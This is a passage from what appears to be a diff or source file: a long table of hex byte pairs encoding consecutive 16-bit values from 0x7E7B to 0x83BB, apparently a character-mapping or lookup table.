0x7E, 0x7B, + 0x7E, 0x7C, 0x7E, 0x7D, 0x7E, 0x7E, 0x7E, 0x7F, + 0x7E, 0x80, 0x7E, 0x81, 0x7E, 0x82, 0x7E, 0x83, + 0x7E, 0x84, 0x7E, 0x85, 0x7E, 0x86, 0x7E, 0x87, + 0x7E, 0x88, 0x7E, 0x89, 0x7E, 0x8A, 0x7E, 0x8B, + 0x7E, 0x8C, 0x7E, 0x8D, 0x7E, 0x8E, 0x7E, 0x8F, + 0x7E, 0x90, 0x7E, 0x91, 0x7E, 0x92, 0x7E, 0x93, + 0x7E, 0x94, 0x7E, 0x95, 0x7E, 0x96, 0x7E, 0x97, + 0x7E, 0x98, 0x7E, 0x99, 0x7E, 0x9A, 0x7E, 0x9B, + 0x7E, 0x9C, 0x7E, 0x9D, 0x7E, 0x9E, 0x7E, 0x9F, + 0x7E, 0xA0, 0x7E, 0xA1, 0x7E, 0xA2, 0x7E, 0xA3, + 0x7E, 0xA4, 0x7E, 0xA5, 0x7E, 0xA6, 0x7E, 0xA7, + 0x7E, 0xA8, 0x7E, 0xA9, 0x7E, 0xAA, 0x7E, 0xAB, + 0x7E, 0xAC, 0x7E, 0xAD, 0x7E, 0xAE, 0x7E, 0xAF, + 0x7E, 0xB0, 0x7E, 0xB1, 0x7E, 0xB2, 0x7E, 0xB3, + 0x7E, 0xB4, 0x7E, 0xB5, 0x7E, 0xB6, 0x7E, 0xB7, + 0x7E, 0xB8, 0x7E, 0xB9, 0x7E, 0xBA, 0x7E, 0xBB, + 0x7E, 0xBC, 0x7E, 0xBD, 0x7E, 0xBE, 0x7E, 0xBF, + 0x7E, 0xC0, 0x7E, 0xC1, 0x7E, 0xC2, 0x7E, 0xC3, + 0x7E, 0xC4, 0x7E, 0xC5, 0x7E, 0xC6, 0x7E, 0xC7, + 0x7E, 0xC8, 0x7E, 0xC9, 0x7E, 0xCA, 0x7E, 0xCB, + 0x7E, 0xCC, 0x7E, 0xCD, 0x7E, 0xCE, 0x7E, 0xCF, + 0x7E, 0xD0, 0x7E, 0xD1, 0x7E, 0xD2, 0x7E, 0xD3, + 0x7E, 0xD4, 0x7E, 0xD5, 0x7E, 0xD6, 0x7E, 0xD7, + 0x7E, 0xD8, 0x7E, 0xD9, 0x7E, 0xDA, 0x7E, 0xDB, + 0x7E, 0xDC, 0x7E, 0xDD, 0x7E, 0xDE, 0x7E, 0xDF, + 0x7E, 0xE0, 0x7E, 0xE1, 0x7E, 0xE2, 0x7E, 0xE3, + 0x7E, 0xE4, 0x7E, 0xE5, 0x7E, 0xE6, 0x7E, 0xE7, + 0x7E, 0xE8, 0x7E, 0xE9, 0x7E, 0xEA, 0x7E, 0xEB, + 0x7E, 0xEC, 0x7E, 0xED, 0x7E, 0xEE, 0x7E, 0xEF, + 0x7E, 0xF0, 0x7E, 0xF1, 0x7E, 0xF2, 0x7E, 0xF3, + 0x7E, 0xF4, 0x7E, 0xF5, 0x7E, 0xF6, 0x7E, 0xF7, + 0x7E, 0xF8, 0x7E, 0xF9, 0x7E, 0xFA, 0x7E, 0xFB, + 0x7E, 0xFC, 0x7E, 0xFD, 0x7E, 0xFE, 0x7E, 0xFF, + 0x7F, 0x00, 0x7F, 0x01, 0x7F, 0x02, 0x7F, 0x03, + 0x7F, 0x04, 0x7F, 0x05, 0x7F, 0x06, 0x7F, 0x07, + 0x7F, 0x08, 0x7F, 0x09, 0x7F, 0x0A, 0x7F, 0x0B, + 0x7F, 0x0C, 0x7F, 0x0D, 0x7F, 0x0E, 0x7F, 0x0F, + 0x7F, 0x10, 0x7F, 0x11, 0x7F, 0x12, 0x7F, 0x13, + 0x7F, 0x14, 0x7F, 0x15, 0x7F, 0x16, 0x7F, 0x17, + 0x7F, 0x18, 0x7F, 0x19, 0x7F, 0x1A, 0x7F, 0x1B, + 0x7F, 0x1C, 0x7F, 0x1D, 0x7F, 0x1E, 0x7F, 0x1F, + 0x7F, 0x20, 0x7F, 0x21, 0x7F, 0x22, 0x7F, 0x23, + 0x7F, 0x24, 0x7F, 0x25, 0x7F, 0x26, 0x7F, 0x27, + 0x7F, 0x28, 0x7F, 0x29, 0x7F, 0x2A, 0x7F, 0x2B, + 0x7F, 0x2C, 0x7F, 0x2D, 0x7F, 0x2E, 0x7F, 0x2F, + 0x7F, 0x30, 0x7F, 0x31, 0x7F, 0x32, 0x7F, 0x33, + 0x7F, 0x34, 0x7F, 0x35, 0x7F, 0x36, 0x7F, 0x37, + 0x7F, 0x38, 0x7F, 0x39, 0x7F, 0x3A, 0x7F, 0x3B, + 0x7F, 0x3C, 0x7F, 0x3D, 0x7F, 0x3E, 0x7F, 0x3F, + 0x7F, 0x40, 0x7F, 0x41, 0x7F, 0x42, 0x7F, 0x43, + 0x7F, 0x44, 0x7F, 0x45, 0x7F, 0x46, 0x7F, 0x47, + 0x7F, 0x48, 0x7F, 0x49, 0x7F, 0x4A, 0x7F, 0x4B, + 0x7F, 0x4C, 0x7F, 0x4D, 0x7F, 0x4E, 0x7F, 0x4F, + 0x7F, 0x50, 0x7F, 0x51, 0x7F, 0x52, 0x7F, 0x53, + 0x7F, 0x54, 0x7F, 0x55, 0x7F, 0x56, 0x7F, 0x57, + 0x7F, 0x58, 0x7F, 0x59, 0x7F, 0x5A, 0x7F, 0x5B, + 0x7F, 0x5C, 0x7F, 0x5D, 0x7F, 0x5E, 0x7F, 0x5F, + 0x7F, 0x60, 0x7F, 0x61, 0x7F, 0x62, 0x7F, 0x63, + 0x7F, 0x64, 0x7F, 0x65, 0x7F, 0x66, 0x7F, 0x67, + 0x7F, 0x68, 0x7F, 0x69, 0x7F, 0x6A, 0x7F, 0x6B, + 0x7F, 0x6C, 0x7F, 0x6D, 0x7F, 0x6E, 0x7F, 0x6F, + 0x7F, 0x70, 0x7F, 0x71, 0x7F, 0x72, 0x7F, 0x73, + 0x7F, 0x74, 0x7F, 0x75, 0x7F, 0x76, 0x7F, 0x77, + 0x7F, 0x78, 0x7F, 0x79, 0x7F, 0x7A, 0x7F, 0x7B, + 0x7F, 0x7C, 0x7F, 0x7D, 0x7F, 0x7E, 0x7F, 0x7F, + 0x7F, 0x80, 0x7F, 0x81, 0x7F, 0x82, 0x7F, 0x83, + 0x7F, 0x84, 0x7F, 0x85, 0x7F, 0x86, 0x7F, 0x87, + 0x7F, 0x88, 0x7F, 0x89, 0x7F, 0x8A, 0x7F, 0x8B, + 0x7F, 0x8C, 0x7F, 0x8D, 0x7F, 0x8E, 0x7F, 0x8F, + 0x7F, 0x90, 0x7F, 0x91, 0x7F, 0x92, 0x7F, 0x93, + 0x7F, 0x94, 0x7F, 0x95, 0x7F, 0x96, 0x7F, 0x97, + 0x7F, 0x98, 0x7F, 0x99, 0x7F, 0x9A, 0x7F, 0x9B, + 0x7F, 0x9C, 0x7F, 0x9D, 0x7F, 0x9E, 0x7F, 0x9F, + 0x7F, 0xA0, 0x7F, 0xA1, 0x7F, 0xA2, 0x7F, 0xA3, + 0x7F, 0xA4, 0x7F, 0xA5, 0x7F, 0xA6, 0x7F, 0xA7, + 0x7F, 0xA8, 0x7F, 0xA9, 0x7F, 0xAA, 0x7F, 0xAB, + 0x7F, 0xAC, 0x7F, 0xAD, 0x7F, 0xAE, 0x7F, 0xAF, + 0x7F, 0xB0, 0x7F, 0xB1, 0x7F, 0xB2, 0x7F, 0xB3, + 0x7F, 0xB4, 0x7F, 0xB5, 0x7F, 0xB6, 0x7F, 0xB7, + 0x7F, 0xB8, 0x7F, 0xB9, 0x7F, 0xBA, 0x7F, 0xBB, + 0x7F, 0xBC, 0x7F, 0xBD, 0x7F, 0xBE, 0x7F, 0xBF, + 0x7F, 0xC0, 0x7F, 0xC1, 0x7F, 0xC2, 0x7F, 0xC3, + 0x7F, 0xC4, 0x7F, 0xC5, 0x7F, 0xC6, 0x7F, 0xC7, + 0x7F, 0xC8, 0x7F, 0xC9, 0x7F, 0xCA, 0x7F, 0xCB, + 0x7F, 0xCC, 0x7F, 0xCD, 0x7F, 0xCE, 0x7F, 0xCF, + 0x7F, 0xD0, 0x7F, 0xD1, 0x7F, 0xD2, 0x7F, 0xD3, + 0x7F, 0xD4, 0x7F, 0xD5, 0x7F, 0xD6, 0x7F, 0xD7, + 0x7F, 0xD8, 0x7F, 0xD9, 0x7F, 0xDA, 0x7F, 0xDB, + 0x7F, 0xDC, 0x7F, 0xDD, 0x7F, 0xDE, 0x7F, 0xDF, + 0x7F, 0xE0, 0x7F, 0xE1, 0x7F, 0xE2, 0x7F, 0xE3, + 0x7F, 0xE4, 0x7F, 0xE5, 0x7F, 0xE6, 0x7F, 0xE7, + 0x7F, 0xE8, 0x7F, 0xE9, 0x7F, 0xEA, 0x7F, 0xEB, + 0x7F, 0xEC, 0x7F, 0xED, 0x7F, 0xEE, 0x7F, 0xEF, + 0x7F, 0xF0, 0x7F, 0xF1, 0x7F, 0xF2, 0x7F, 0xF3, + 0x7F, 0xF4, 0x7F, 0xF5, 0x7F, 0xF6, 0x7F, 0xF7, + 0x7F, 0xF8, 0x7F, 0xF9, 0x7F, 0xFA, 0x7F, 0xFB, + 0x7F, 0xFC, 0x7F, 0xFD, 0x7F, 0xFE, 0x7F, 0xFF, + 0x80, 0x00, 0x80, 0x01, 0x80, 0x02, 0x80, 0x03, + 0x80, 0x04, 0x80, 0x05, 0x80, 0x06, 0x80, 0x07, + 0x80, 0x08, 0x80, 0x09, 0x80, 0x0A, 0x80, 0x0B, + 0x80, 0x0C, 0x80, 0x0D, 0x80, 0x0E, 0x80, 0x0F, + 0x80, 0x10, 0x80, 0x11, 0x80, 0x12, 0x80, 0x13, + 0x80, 0x14, 0x80, 0x15, 0x80, 0x16, 0x80, 0x17, + 0x80, 0x18, 0x80, 0x19, 0x80, 0x1A, 0x80, 0x1B, + 0x80, 0x1C, 0x80, 0x1D, 0x80, 0x1E, 0x80, 0x1F, + 0x80, 0x20, 0x80, 0x21, 0x80, 0x22, 0x80, 0x23, + 0x80, 0x24, 0x80, 0x25, 0x80, 0x26, 0x80, 0x27, + 0x80, 0x28, 0x80, 0x29, 0x80, 0x2A, 0x80, 0x2B, + 0x80, 0x2C, 0x80, 0x2D, 0x80, 0x2E, 0x80, 0x2F, + 0x80, 0x30, 0x80, 0x31, 0x80, 0x32, 0x80, 0x33, + 0x80, 0x34, 0x80, 0x35, 0x80, 0x36, 0x80, 0x37, + 0x80, 0x38, 0x80, 0x39, 0x80, 0x3A, 0x80, 0x3B, + 0x80, 0x3C, 0x80, 0x3D, 0x80, 0x3E, 0x80, 0x3F, + 0x80, 0x40, 0x80, 0x41, 0x80, 0x42, 0x80, 0x43, + 0x80, 0x44, 0x80, 0x45, 0x80, 0x46, 0x80, 0x47, + 0x80, 0x48, 0x80, 0x49, 0x80, 0x4A, 0x80, 0x4B, + 0x80, 0x4C, 0x80, 0x4D, 0x80, 0x4E, 0x80, 0x4F, + 0x80, 0x50, 0x80, 0x51, 0x80, 0x52, 0x80, 0x53, + 0x80, 0x54, 0x80, 0x55, 0x80, 0x56, 0x80, 0x57, + 0x80, 0x58, 0x80, 0x59, 0x80, 0x5A, 0x80, 0x5B, + 0x80, 0x5C, 0x80, 0x5D, 0x80, 0x5E, 0x80, 0x5F, + 0x80, 0x60, 0x80, 0x61, 0x80, 0x62, 0x80, 0x63, + 0x80, 0x64, 0x80, 0x65, 0x80, 0x66, 0x80, 0x67, + 0x80, 0x68, 0x80, 0x69, 0x80, 0x6A, 0x80, 0x6B, + 0x80, 0x6C, 0x80, 0x6D, 0x80, 0x6E, 0x80, 0x6F, + 0x80, 0x70, 0x80, 0x71, 0x80, 0x72, 0x80, 0x73, + 0x80, 0x74, 0x80, 0x75, 0x80, 0x76, 0x80, 0x77, + 0x80, 0x78, 0x80, 0x79, 0x80, 0x7A, 0x80, 0x7B, + 0x80, 0x7C, 0x80, 0x7D, 0x80, 0x7E, 0x80, 0x7F, + 0x80, 0x80, 0x80, 0x81, 0x80, 0x82, 0x80, 0x83, + 0x80, 0x84, 0x80, 0x85, 0x80, 0x86, 0x80, 0x87, + 0x80, 0x88, 0x80, 0x89, 0x80, 0x8A, 0x80, 0x8B, + 0x80, 0x8C, 0x80, 0x8D, 0x80, 0x8E, 0x80, 0x8F, + 0x80, 0x90, 0x80, 0x91, 0x80, 0x92, 0x80, 0x93, + 0x80, 0x94, 0x80, 0x95, 0x80, 0x96, 0x80, 0x97, + 0x80, 0x98, 0x80, 0x99, 0x80, 0x9A, 0x80, 0x9B, + 0x80, 0x9C, 0x80, 0x9D, 0x80, 0x9E, 0x80, 0x9F, + 0x80, 0xA0, 0x80, 0xA1, 0x80, 0xA2, 0x80, 0xA3, + 0x80, 0xA4, 0x80, 0xA5, 0x80, 0xA6, 0x80, 0xA7, + 0x80, 0xA8, 0x80, 0xA9, 0x80, 0xAA, 0x80, 0xAB, + 0x80, 0xAC, 0x80, 0xAD, 0x80, 0xAE, 0x80, 0xAF, + 0x80, 0xB0, 0x80, 0xB1, 0x80, 0xB2, 0x80, 0xB3, + 0x80, 0xB4, 0x80, 0xB5, 0x80, 0xB6, 0x80, 0xB7, + 0x80, 0xB8, 0x80, 0xB9, 0x80, 0xBA, 0x80, 0xBB, + 0x80, 0xBC, 0x80, 0xBD, 0x80, 0xBE, 0x80, 0xBF, + 0x80, 0xC0, 0x80, 0xC1, 0x80, 0xC2, 0x80, 0xC3, + 0x80, 0xC4, 0x80, 0xC5, 0x80, 0xC6, 0x80, 0xC7, + 0x80, 0xC8, 0x80, 0xC9, 0x80, 0xCA, 0x80, 0xCB, + 0x80, 0xCC, 0x80, 0xCD, 0x80, 0xCE, 0x80, 0xCF, + 0x80, 0xD0, 0x80, 0xD1, 0x80, 0xD2, 0x80, 0xD3, + 0x80, 0xD4, 0x80, 0xD5, 0x80, 0xD6, 0x80, 0xD7, + 0x80, 0xD8, 0x80, 0xD9, 0x80, 0xDA, 0x80, 0xDB, + 0x80, 0xDC, 0x80, 0xDD, 0x80, 0xDE, 0x80, 0xDF, + 0x80, 0xE0, 0x80, 0xE1, 0x80, 0xE2, 0x80, 0xE3, + 0x80, 0xE4, 0x80, 0xE5, 0x80, 0xE6, 0x80, 0xE7, + 0x80, 0xE8, 0x80, 0xE9, 0x80, 0xEA, 0x80, 0xEB, + 0x80, 0xEC, 0x80, 0xED, 0x80, 0xEE, 0x80, 0xEF, + 0x80, 0xF0, 0x80, 0xF1, 0x80, 0xF2, 0x80, 0xF3, + 0x80, 0xF4, 0x80, 0xF5, 0x80, 0xF6, 0x80, 0xF7, + 0x80, 0xF8, 0x80, 0xF9, 0x80, 0xFA, 0x80, 0xFB, + 0x80, 0xFC, 0x80, 0xFD, 0x80, 0xFE, 0x80, 0xFF, + 0x81, 0x00, 0x81, 0x01, 0x81, 0x02, 0x81, 0x03, + 0x81, 0x04, 0x81, 0x05, 0x81, 0x06, 0x81, 0x07, + 0x81, 0x08, 0x81, 0x09, 0x81, 0x0A, 0x81, 0x0B, + 0x81, 0x0C, 0x81, 0x0D, 0x81, 0x0E, 0x81, 0x0F, + 0x81, 0x10, 0x81, 0x11, 0x81, 0x12, 0x81, 0x13, + 0x81, 0x14, 0x81, 0x15, 0x81, 0x16, 0x81, 0x17, + 0x81, 0x18, 0x81, 0x19, 0x81, 0x1A, 0x81, 0x1B, + 0x81, 0x1C, 0x81, 0x1D, 0x81, 0x1E, 0x81, 0x1F, + 0x81, 0x20, 0x81, 0x21, 0x81, 0x22, 0x81, 0x23, + 0x81, 0x24, 0x81, 0x25, 0x81, 0x26, 0x81, 0x27, + 0x81, 0x28, 0x81, 0x29, 0x81, 0x2A, 0x81, 0x2B, + 0x81, 0x2C, 0x81, 0x2D, 0x81, 0x2E, 0x81, 0x2F, + 0x81, 0x30, 0x81, 0x31, 0x81, 0x32, 0x81, 0x33, + 0x81, 0x34, 0x81, 0x35, 0x81, 0x36, 0x81, 0x37, + 0x81, 0x38, 0x81, 0x39, 0x81, 0x3A, 0x81, 0x3B, + 0x81, 0x3C, 0x81, 0x3D, 0x81, 0x3E, 0x81, 0x3F, + 0x81, 0x40, 0x81, 0x41, 0x81, 0x42, 0x81, 0x43, + 0x81, 0x44, 0x81, 0x45, 0x81, 0x46, 0x81, 0x47, + 0x81, 0x48, 0x81, 0x49, 0x81, 0x4A, 0x81, 0x4B, + 0x81, 0x4C, 0x81, 0x4D, 0x81, 0x4E, 0x81, 0x4F, + 0x81, 0x50, 0x81, 0x51, 0x81, 0x52, 0x81, 0x53, + 0x81, 0x54, 0x81, 0x55, 0x81, 0x56, 0x81, 0x57, + 0x81, 0x58, 0x81, 0x59, 0x81, 0x5A, 0x81, 0x5B, + 0x81, 0x5C, 0x81, 0x5D, 0x81, 0x5E, 0x81, 0x5F, + 0x81, 0x60, 0x81, 0x61, 0x81, 0x62, 0x81, 0x63, + 0x81, 0x64, 0x81, 0x65, 0x81, 0x66, 0x81, 0x67, + 0x81, 0x68, 0x81, 0x69, 0x81, 0x6A, 0x81, 0x6B, + 0x81, 0x6C, 0x81, 0x6D, 0x81, 0x6E, 0x81, 0x6F, + 0x81, 0x70, 0x81, 0x71, 0x81, 0x72, 0x81, 0x73, + 0x81, 0x74, 0x81, 0x75, 0x81, 0x76, 0x81, 0x77, + 0x81, 0x78, 0x81, 0x79, 0x81, 0x7A, 0x81, 0x7B, + 0x81, 0x7C, 0x81, 0x7D, 0x81, 0x7E, 0x81, 0x7F, + 0x81, 0x80, 0x81, 0x81, 0x81, 0x82, 0x81, 0x83, + 0x81, 0x84, 0x81, 0x85, 0x81, 0x86, 0x81, 0x87, + 0x81, 0x88, 0x81, 0x89, 0x81, 0x8A, 0x81, 0x8B, + 0x81, 0x8C, 0x81, 0x8D, 0x81, 0x8E, 0x81, 0x8F, + 0x81, 0x90, 0x81, 0x91, 0x81, 0x92, 0x81, 0x93, + 0x81, 0x94, 0x81, 0x95, 0x81, 0x96, 0x81, 0x97, + 0x81, 0x98, 0x81, 0x99, 0x81, 0x9A, 0x81, 0x9B, + 0x81, 0x9C, 0x81, 0x9D, 0x81, 0x9E, 0x81, 0x9F, + 0x81, 0xA0, 0x81, 0xA1, 0x81, 0xA2, 0x81, 0xA3, + 0x81, 0xA4, 0x81, 0xA5, 0x81, 0xA6, 0x81, 0xA7, + 0x81, 0xA8, 0x81, 0xA9, 0x81, 0xAA, 0x81, 0xAB, + 0x81, 0xAC, 0x81, 0xAD, 0x81, 0xAE, 0x81, 0xAF, + 0x81, 0xB0, 0x81, 0xB1, 0x81, 0xB2, 0x81, 0xB3, + 0x81, 0xB4, 0x81, 0xB5, 0x81, 0xB6, 0x81, 0xB7, + 0x81, 0xB8, 0x81, 0xB9, 0x81, 0xBA, 0x81, 0xBB, + 0x81, 0xBC, 0x81, 0xBD, 0x81, 0xBE, 0x81, 0xBF, + 0x81, 0xC0, 0x81, 0xC1, 0x81, 0xC2, 0x81, 0xC3, + 0x81, 0xC4, 0x81, 0xC5, 0x81, 0xC6, 0x81, 0xC7, + 0x81, 0xC8, 0x81, 0xC9, 0x81, 0xCA, 0x81, 0xCB, + 0x81, 0xCC, 0x81, 0xCD, 0x81, 0xCE, 0x81, 0xCF, + 0x81, 0xD0, 0x81, 0xD1, 0x81, 0xD2, 0x81, 0xD3, + 0x81, 0xD4, 0x81, 0xD5, 0x81, 0xD6, 0x81, 0xD7, + 0x81, 0xD8, 0x81, 0xD9, 0x81, 0xDA, 0x81, 0xDB, + 0x81, 0xDC, 0x81, 0xDD, 0x81, 0xDE, 0x81, 0xDF, + 0x81, 0xE0, 0x81, 0xE1, 0x81, 0xE2, 0x81, 0xE3, + 0x81, 0xE4, 0x81, 0xE5, 0x81, 0xE6, 0x81, 0xE7, + 0x81, 0xE8, 0x81, 0xE9, 0x81, 0xEA, 0x81, 0xEB, + 0x81, 0xEC, 0x81, 0xED, 0x81, 0xEE, 0x81, 0xEF, + 0x81, 0xF0, 0x81, 0xF1, 0x81, 0xF2, 0x81, 0xF3, + 0x81, 0xF4, 0x81, 0xF5, 0x81, 0xF6, 0x81, 0xF7, + 0x81, 0xF8, 0x81, 0xF9, 0x81, 0xFA, 0x81, 0xFB, + 0x81, 0xFC, 0x81, 0xFD, 0x81, 0xFE, 0x81, 0xFF, + 0x82, 0x00, 0x82, 0x01, 0x82, 0x02, 0x82, 0x03, + 0x82, 0x04, 0x82, 0x05, 0x82, 0x06, 0x82, 0x07, + 0x82, 0x08, 0x82, 0x09, 0x82, 0x0A, 0x82, 0x0B, + 0x82, 0x0C, 0x82, 0x0D, 0x82, 0x0E, 0x82, 0x0F, + 0x82, 0x10, 0x82, 0x11, 0x82, 0x12, 0x82, 0x13, + 0x82, 0x14, 0x82, 0x15, 0x82, 0x16, 0x82, 0x17, + 0x82, 0x18, 0x82, 0x19, 0x82, 0x1A, 0x82, 0x1B, + 0x82, 0x1C, 0x82, 0x1D, 0x82, 0x1E, 0x82, 0x1F, + 0x82, 0x20, 0x82, 0x21, 0x82, 0x22, 0x82, 0x23, + 0x82, 0x24, 0x82, 0x25, 0x82, 0x26, 0x82, 0x27, + 0x82, 0x28, 0x82, 0x29, 0x82, 0x2A, 0x82, 0x2B, + 0x82, 0x2C, 0x82, 0x2D, 0x82, 0x2E, 0x82, 0x2F, + 0x82, 0x30, 0x82, 0x31, 0x82, 0x32, 0x82, 0x33, + 0x82, 0x34, 0x82, 0x35, 0x82, 0x36, 0x82, 0x37, + 0x82, 0x38, 0x82, 0x39, 0x82, 0x3A, 0x82, 0x3B, + 0x82, 0x3C, 0x82, 0x3D, 0x82, 0x3E, 0x82, 0x3F, + 0x82, 0x40, 0x82, 0x41, 0x82, 0x42, 0x82, 0x43, + 0x82, 0x44, 0x82, 0x45, 0x82, 0x46, 0x82, 0x47, + 0x82, 0x48, 0x82, 0x49, 0x82, 0x4A, 0x82, 0x4B, + 0x82, 0x4C, 0x82, 0x4D, 0x82, 0x4E, 0x82, 0x4F, + 0x82, 0x50, 0x82, 0x51, 0x82, 0x52, 0x82, 0x53, + 0x82, 0x54, 0x82, 0x55, 0x82, 0x56, 0x82, 0x57, + 0x82, 0x58, 0x82, 0x59, 0x82, 0x5A, 0x82, 0x5B, + 0x82, 0x5C, 0x82, 0x5D, 0x82, 0x5E, 0x82, 0x5F, + 0x82, 0x60, 0x82, 0x61, 0x82, 0x62, 0x82, 0x63, + 0x82, 0x64, 0x82, 0x65, 0x82, 0x66, 0x82, 0x67, + 0x82, 0x68, 0x82, 0x69, 0x82, 0x6A, 0x82, 0x6B, + 0x82, 0x6C, 0x82, 0x6D, 0x82, 0x6E, 0x82, 0x6F, + 0x82, 0x70, 0x82, 0x71, 0x82, 0x72, 0x82, 0x73, + 0x82, 0x74, 0x82, 0x75, 0x82, 0x76, 0x82, 0x77, + 0x82, 0x78, 0x82, 0x79, 0x82, 0x7A, 0x82, 0x7B, + 0x82, 0x7C, 0x82, 0x7D, 0x82, 0x7E, 0x82, 0x7F, + 0x82, 0x80, 0x82, 0x81, 0x82, 0x82, 0x82, 0x83, + 0x82, 0x84, 0x82, 0x85, 0x82, 0x86, 0x82, 0x87, + 0x82, 0x88, 0x82, 0x89, 0x82, 0x8A, 0x82, 0x8B, + 0x82, 0x8C, 0x82, 0x8D, 0x82, 0x8E, 0x82, 0x8F, + 0x82, 0x90, 0x82, 0x91, 0x82, 0x92, 0x82, 0x93, + 0x82, 0x94, 0x82, 0x95, 0x82, 0x96, 0x82, 0x97, + 0x82, 0x98, 0x82, 0x99, 0x82, 0x9A, 0x82, 0x9B, + 0x82, 0x9C, 0x82, 0x9D, 0x82, 0x9E, 0x82, 0x9F, + 0x82, 0xA0, 0x82, 0xA1, 0x82, 0xA2, 0x82, 0xA3, + 0x82, 0xA4, 0x82, 0xA5, 0x82, 0xA6, 0x82, 0xA7, + 0x82, 0xA8, 0x82, 0xA9, 0x82, 0xAA, 0x82, 0xAB, + 0x82, 0xAC, 0x82, 0xAD, 0x82, 0xAE, 0x82, 0xAF, + 0x82, 0xB0, 0x82, 0xB1, 0x82, 0xB2, 0x82, 0xB3, + 0x82, 0xB4, 0x82, 0xB5, 0x82, 0xB6, 0x82, 0xB7, + 0x82, 0xB8, 0x82, 0xB9, 0x82, 0xBA, 0x82, 0xBB, + 0x82, 0xBC, 0x82, 0xBD, 0x82, 0xBE, 0x82, 0xBF, + 0x82, 0xC0, 0x82, 0xC1, 0x82, 0xC2, 0x82, 0xC3, + 0x82, 0xC4, 0x82, 0xC5, 0x82, 0xC6, 0x82, 0xC7, + 0x82, 0xC8, 0x82, 0xC9, 0x82, 0xCA, 0x82, 0xCB, + 0x82, 0xCC, 0x82, 0xCD, 0x82, 0xCE, 0x82, 0xCF, + 0x82, 0xD0, 0x82, 0xD1, 0x82, 0xD2, 0x82, 0xD3, + 0x82, 0xD4, 0x82, 0xD5, 0x82, 0xD6, 0x82, 0xD7, + 0x82, 0xD8, 0x82, 0xD9, 0x82, 0xDA, 0x82, 0xDB, + 0x82, 0xDC, 0x82, 0xDD, 0x82, 0xDE, 0x82, 0xDF, + 0x82, 0xE0, 0x82, 0xE1, 0x82, 0xE2, 0x82, 0xE3, + 0x82, 0xE4, 0x82, 0xE5, 0x82, 0xE6, 0x82, 0xE7, + 0x82, 0xE8, 0x82, 0xE9, 0x82, 0xEA, 0x82, 0xEB, + 0x82, 0xEC, 0x82, 0xED, 0x82, 0xEE, 0x82, 0xEF, + 0x82, 0xF0, 0x82, 0xF1, 0x82, 0xF2, 0x82, 0xF3, + 0x82, 0xF4, 0x82, 0xF5, 0x82, 0xF6, 0x82, 0xF7, + 0x82, 0xF8, 0x82, 0xF9, 0x82, 0xFA, 0x82, 0xFB, + 0x82, 0xFC, 0x82, 0xFD, 0x82, 0xFE, 0x82, 0xFF, + 0x83, 0x00, 0x83, 0x01, 0x83, 0x02, 0x83, 0x03, + 0x83, 0x04, 0x83, 0x05, 0x83, 0x06, 0x83, 0x07, + 0x83, 0x08, 0x83, 0x09, 0x83, 0x0A, 0x83, 0x0B, + 0x83, 0x0C, 0x83, 0x0D, 0x83, 0x0E, 0x83, 0x0F, + 0x83, 0x10, 0x83, 0x11, 0x83, 0x12, 0x83, 0x13, + 0x83, 0x14, 0x83, 0x15, 0x83, 0x16, 0x83, 0x17, + 0x83, 0x18, 0x83, 0x19, 0x83, 0x1A, 0x83, 0x1B, + 0x83, 0x1C, 0x83, 0x1D, 0x83, 0x1E, 0x83, 0x1F, + 0x83, 0x20, 0x83, 0x21, 0x83, 0x22, 0x83, 0x23, + 0x83, 0x24, 0x83, 0x25, 0x83, 0x26, 0x83, 0x27, + 0x83, 0x28, 0x83, 0x29, 0x83, 0x2A, 0x83, 0x2B, + 0x83, 0x2C, 0x83, 0x2D, 0x83, 0x2E, 0x83, 0x2F, + 0x83, 0x30, 0x83, 0x31, 0x83, 0x32, 0x83, 0x33, + 0x83, 0x34, 0x83, 0x35, 0x83, 0x36, 0x83, 0x37, + 0x83, 0x38, 0x83, 0x39, 0x83, 0x3A, 0x83, 0x3B, + 0x83, 0x3C, 0x83, 0x3D, 0x83, 0x3E, 0x83, 0x3F, + 0x83, 0x40, 0x83, 0x41, 0x83, 0x42, 0x83, 0x43, + 0x83, 0x44, 0x83, 0x45, 0x83, 0x46, 0x83, 0x47, + 0x83, 0x48, 0x83, 0x49, 0x83, 0x4A, 0x83, 0x4B, + 0x83, 0x4C, 0x83, 0x4D, 0x83, 0x4E, 0x83, 0x4F, + 0x83, 0x50, 0x83, 0x51, 0x83, 0x52, 0x83, 0x53, + 0x83, 0x54, 0x83, 0x55, 0x83, 0x56, 0x83, 0x57, + 0x83, 0x58, 0x83, 0x59, 0x83, 0x5A, 0x83, 0x5B, + 0x83, 0x5C, 0x83, 0x5D, 0x83, 0x5E, 0x83, 0x5F, + 0x83, 0x60, 0x83, 0x61, 0x83, 0x62, 0x83, 0x63, + 0x83, 0x64, 0x83, 0x65, 0x83, 0x66, 0x83, 0x67, + 0x83, 0x68, 0x83, 0x69, 0x83, 0x6A, 0x83, 0x6B, + 0x83, 0x6C, 0x83, 0x6D, 0x83, 0x6E, 0x83, 0x6F, + 0x83, 0x70, 0x83, 0x71, 0x83, 0x72, 0x83, 0x73, + 0x83, 0x74, 0x83, 0x75, 0x83, 0x76, 0x83, 0x77, + 0x83, 0x78, 0x83, 0x79, 0x83, 0x7A, 0x83, 0x7B, + 0x83, 0x7C, 0x83, 0x7D, 0x83, 0x7E, 0x83, 0x7F, + 0x83, 0x80, 0x83, 0x81, 0x83, 0x82, 0x83, 0x83, + 0x83, 0x84, 0x83, 0x85, 0x83, 0x86, 0x83, 0x87, + 0x83, 0x88, 0x83, 0x89, 0x83, 0x8A, 0x83, 0x8B, + 0x83, 0x8C, 0x83, 0x8D, 0x83, 0x8E, 0x83, 0x8F, + 0x83, 0x90, 0x83, 0x91, 0x83, 0x92, 0x83, 0x93, + 0x83, 0x94, 0x83, 0x95, 0x83, 0x96, 0x83, 0x97, + 0x83, 0x98, 0x83, 0x99, 0x83, 0x9A, 0x83, 0x9B, + 0x83, 0x9C, 0x83, 0x9D, 0x83, 0x9E, 0x83, 0x9F, + 0x83, 0xA0, 0x83, 0xA1, 0x83, 0xA2, 0x83, 0xA3, + 0x83, 0xA4, 0x83, 0xA5, 0x83, 0xA6, 0x83, 0xA7, + 0x83, 0xA8, 0x83, 0xA9, 0x83, 0xAA, 0x83, 0xAB, + 0x83, 0xAC, 0x83, 0xAD, 0x83, 0xAE, 0x83, 0xAF, + 0x83, 0xB0, 0x83, 0xB1, 0x83, 0xB2, 0x83, 0xB3, + 0x83, 0xB4, 0x83, 0xB5, 0x83, 0xB6, 0x83, 0xB7, + 0x83, 0xB8, 0x83, 0xB9, 0x83, 0xBA, 0x83, 0xBB, + 